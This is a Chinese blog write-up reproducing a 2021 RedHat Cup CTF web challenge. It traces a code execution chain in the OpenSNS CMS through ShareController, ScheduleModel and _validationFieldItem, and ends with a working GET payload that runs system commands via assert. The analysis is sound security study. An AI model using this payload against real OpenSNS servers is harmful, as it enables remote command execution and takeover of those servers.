红帽杯2021决赛opensns复现(代码片段)

bfengj bfengj     2022-12-17     194

关键词:

前言

因为某些事情,没有参加今年的红帽杯决赛,所以来复现一下决赛的Web题里面的opensns,学习一下思路。

复现

根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。

漏洞点位于Application/Weibo/Controller/ShareController.class.php的shareBox方法:

    public function shareBox()
        $query = urldecode(I('get.query','','text'));
        parse_str($query,$array);
        $this->assign('query',$query);
        $this->assign('parse_array',$array);
        $this->display(T('Weibo@default/Widget/share/sharebox'));
    

看了这个才隐约想到,之前自己了解tp的时候,了解到模板文件里也是可以执行代码的。之前一直都没考虑过这个。

这里就用到了。先把get传的query参数进行url解码,然后将这个字符串解析成变量数组,然后进行模板渲染。

跟进这个模板看一下:

<!-- Modal -->
<div id="frm-post-popup" class="white-popup" style="max-width: 745px">
    <div class="weibo_post_box">
        <h2>:L('_SHARE_TO_WEIBO_')</h2>
        <div class="aline" style="margin-bottom: 10px"></div>
        <div class="row">
            <div class="col-xs-12">
                <div>
                    :W('Weibo/Share/fetchShare',array('param'=>$parse_array))
                </div>
                <br/>
                <p>
                    <textarea class="form-control" id="share_content" style="height: 6em;"
                             placeholder=":L('_PLACE_HOLDER_WRITE_SOMETHING_'):L('_WAVE_'):L('_WAVE_')">$weiboContent</textarea></p>
                <a href="javascript:" onclick="insertFace($(this))"><img src="__CORE_IMAGE__/bq.png"/></a>
                <p class="pull-right"><input type="submit" value=":L('_PUBLISH_CTRL_CENTER_')" data-role="do_send_share" data-query="$query"
                                             class="btn btn-primary" data-url=":U('weibo/Share/doSendShare')"/></p>
            </div>
        </div>
        <div id="emot_content" class="emot_content"></div>
        <button title="Close (Esc)" type="button" class="mfp-close" style="color: #333;">×</button>
    </div>
</div>
<!-- /.modal -->

<script>
    $(function () 
        $('#share_content').keypress(function (e) 
            if (e.ctrlKey && e.which == 13 || e.which == 10) 
                $("[data-role='do_send_share']").click();
            
        );

        $('[data-role="do_send_share"]').click(function()
            //获取参数
            var url = $(this).attr('data-url');
            var content = $('#share_content').val();
            var $button = $(this);
            var query = $button.attr('data-query');

            var originalButtonText = $button.val();

            //发送到服务器
            $.post(url, content: content,query:query, function (a) 
                handleAjax(a);
                if (a.status) 
                    $('.mfp-close').click();
                    $button.attr('class', 'btn btn-primary');
                    $button.val(originalButtonText);

                
            );
        )
    );
</script>

可以发现:

                <div>
                    :W('Weibo/Share/fetchShare',array('param'=>$parse_array))
                </div>

调用W方法,细看的话就是W方法里面又调用了R方法。thinkphp的注释中写道,W方法是用来渲染输出Widget,R方法是远程调用控制器的操作方法 URL 参数格式 [资源://][模块/]控制器/操作

可以不具体的了解代码,简单来说,这个模板代码的作用就是,调用Weibo application下的Share Model下的fetchShare方法,而传入的第一个参数就是array('param'=>$parse_array)

    public function fetchShare($param, $weibo = null)
    
        $this->assginFetch($param, $weibo = null);
        $this->display(T('Weibo@default/Widget/share/fetchshare'));
    

继续跟进assginFetch方法看看:

    private function assginFetch($param, $weibo = null)
    
        if ($weibo) 
            $this->assign('weibo', $weibo);
        
        $show = D('Weibo/Share')->getInfo($param);
        $show=array_merge($show, $param);
        $this->assign('show', $show);
    

看一下D方法的注释:实例化模型类 格式 [资源://][模块/]模型

所以其实就是实例化Weibo模块下面的ShareModel类,调用它的getInfo方法:

    public function getInfo($param)
    
        $info = array();
        if(!empty($param['app']) && !empty($param['model']) && !empty($param['method']))
            $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
        

        return $info;
    

然后关键的来了:

$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

实例化某个模型类,然后调用这个类某个方法,第一个参数可控。

因此就是想办法找个可以rce的模型类方法了。发现的那个师傅找到的是_validationFieldItem方法,但是这个方法有两个参数,而且两个参数都会用到:

protected function _validationFieldItem($data, $val)

又恰巧找到了ScheduleModel.class.php下的runSchedule方法:

    public function runSchedule($schedule)
    
        if ($schedule['status'] == 1) 
            $method = explode('->', $schedule['method']);
            parse_str($schedule['args'], $args);  //分解参数
            try 
                $return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
            

构造status键值进入if,然后$args$schedule都是可控的,所以参数可控。而且$method经过explode得到,也可控,因此可以调用_validationFieldItem方法:

    protected function _validationFieldItem($data, $val)
    
        switch (strtolower(trim($val[4]))) 
            case 'function': // 使用函数进行验证
            case 'callback': // 调用方法进行验证
                $args = isset($val[6]) ? (array)$val[6] : array();
                if (is_string($val[0]) && strpos($val[0], ','))
                    $val[0] = explode(',', $val[0]);
                if (is_array($val[0])) 
                    // 支持多个字段验证
                    foreach ($val[0] as $field)
                        $_data[$field] = $data[$field];
                    array_unshift($args, $_data);
                 else 
                    array_unshift($args, $data[$val[0]]);
                
                if ('function' == $val[4]) 
                    return call_user_func_array($val[1], $args);
                 else 
                    return call_user_func_array(array(&$this, $val[1]), $args);
                

先判断$val[4],发现如果是function,并没有给break,还会进入到下面的case,是开发的问题。

然后有用的代码就是这些了:

$args = isset($val[6]) ? (array)$val[6] : array();
array_unshift($args, $data[$val[0]]);
return call_user_func_array($val[1], $args);

构造出payload即可:

?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system('ls');

参考文章

某CMS代码执行漏洞分析

2021-湖湘杯final-web(代码片段)

...今年湖湘报的社企组的结果就是最后只能摆烂,然后决赛那段时间正好在复习期末,然后考完了想好好的休息一段时间,打游戏打累了再来复现一下湖湘杯final的题目放松放松。vote今年HTB的基本上算是原题了,复... 查看详情

2021-湖湘杯final-web(代码片段)

...今年湖湘报的社企组的结果就是最后只能摆烂,然后决赛那段时间正好在复习期末,然后考完了想好好的休息一段时间,打游戏打累了再来复现一下湖湘杯final的题目放松放松。vote今年HTB的基本上算是原题了,复... 查看详情

祥云杯2021web复现(代码片段)

前言正好buuctf上放了那三道js的题目,就正好复现了一下,学习学习。cralwer_z有注册登录,更新个人信息还有爬虫的功能。但是想使用爬虫功能会受到限制:if(/^https:\\/\\/[a-f0-9]32\\.oss-cn-beijing\\.ichunqiu\\.com\\/$/.exec(us... 查看详情

祥云杯2021web复现(代码片段)

前言正好buuctf上放了那三道js的题目,就正好复现了一下,学习学习。cralwer_z有注册登录,更新个人信息还有爬虫的功能。但是想使用爬虫功能会受到限制:if(/^https:\\/\\/[a-f0-9]32\\.oss-cn-beijing\\.ichunqiu\\.com\\/$/.exec(us... 查看详情

2021陇剑杯(真流量分析与取证杯)题目复现(代码片段)

JWT看session很明显使用了jwtid和username需要去解jwt就可以得到坑点:不要只看前半部分迷惑流量没有的到权限所以说这部分流量可以忽略,往后翻这条流量权限就变成了root,所以这个session才是正确的解出来id=10087usern... 查看详情

2021祥云杯(代码片段)

...ff0c;懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。链接复现平台:https://buuoj.cn/WEBezyii考点:yii最新反序列化漏洞这题就是网上有的yii链子,1day好... 查看详情

2021祥云杯(代码片段)

...ff0c;懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。链接复现平台:https://buuoj.cn/WEBezyii考点:yii最新反序列化漏洞这题就是网上有的yii链子,1day好... 查看详情

wp-2021祥云杯(代码片段)

...ff0c;懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。链接复现平台:https://buuoj.cn/WEBezyii考点:yii最新反序列化漏洞这题就是网上有的yii链子,1day好... 查看详情

红帽杯find_it(代码片段)

红帽杯find_it一、解题思路1.使用dirsearch扫描目录,发现了robots.txt文件2.直接进行访问,发现1ndexx.php3.那我就顺着这个思路来进行访问,未果4.根据题目find_it那就说明肯定是源代码泄露常见的备份文件后缀名有.git.svn.swp... 查看详情

第八届蓝桥杯决赛磁砖样式(代码片段)

标题:磁砖样式小明家的一面装饰墙原来是3*10的小方格。现在手头有一批刚好能盖住2个小方格的长方形瓷砖。瓷砖只有两种颜色:黄色和橙色。小明想知道,对于这么简陋的原料,可以贴出多少种不同的花样来。小明有个小小... 查看详情

第八届蓝桥杯决赛发现环(代码片段)

标题:发现环小明的实验室有N台电脑,编号1~N。原本这N台电脑之间有N-1条数据链接相连,恰好构成一个树形网络。在树形网络上,任意两台电脑之间有唯一的路径相连。不过在最近一次维护网络时,管理员误操作使得某两台电... 查看详情

[ctfshow]吃瓜杯复现wp(代码片段)

热身<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num']))$num=$_GET['num'];if($num==4476)die("nonono!");if(preg_match("/[a-z]|\\ 查看详情

天翼杯easy_eval复现(代码片段)

最近打了很多比赛,很多题没有做出来。所以决定复现一下某些题目。本地环境的搭建本地环境涉及到php的web服务、redis数据库。Dockerfile的编写FROMubuntu:16.04COPYsrc/sources.list/etc/apt/sources.listCOPYsrc/redis-4.0.9/home/redis-4.0.9RUNapt-getupd... 查看详情

2019红帽杯easyre(代码片段)

记一次被带入坑的逆向拿到题目,发现是elf文件,拖入Linux运行程序,发现什么提示也不给,输入任意字符串,程序退出。拖入64位的ida中,查找字符串,发现几个很有用的字符串,查看第三个字符... 查看详情

蓝桥杯排列序数2014年javab组决赛第4题(代码片段)

标题:排列序数  如果用abcd这4个字母组成一个串,有4!=24种,如果把它们排个序,每个串都对应一个序号: abcd 0 abdc 1 acbd 2 acdb 3 adbc 4 adcb 5 bacd 6 badc 7 bcad 8 bcda 9 bdac 10 bdca 11 cabd 12 cadb ... 查看详情

第十三届蓝桥杯c++b组2022年国赛决赛题解(代码片段)

题目pdf下载:十三届蓝桥杯c++b组2022国赛题目pdf下载G题没有写,J题是暴力的,其他好像都写出来,但是估计还是有错的。目录正文:试题A:2022试题B:钟表试题C:卡牌试题D:最大数字试题E:出差试题F:费用报... 查看详情

buuctf-reverse(逆向)2019redhat(红帽杯)-xx(代码片段)

0x00日常查壳无壳64位0x01分析主函数考的主要还是正向开发int__cdeclmain(intargc,constchar**argv,constchar**envp)unsigned__int64flaglen2;//rbx__int64flaglen1;//rax__int128*malloc5;//rax__int64data;//r11__int128*malloc7;//r14i 查看详情

2019第十届蓝桥杯大赛软件赛决赛,国赛,c/c++大学b组题解(代码片段)

文章目录第1题——平方序列(5分)第2题——质数拆分(5分)第3题——拼接(10分)第4题——求值(10分)第5题——路径计数(15分)第6题——最优包含(15分)第7题——排列数... 查看详情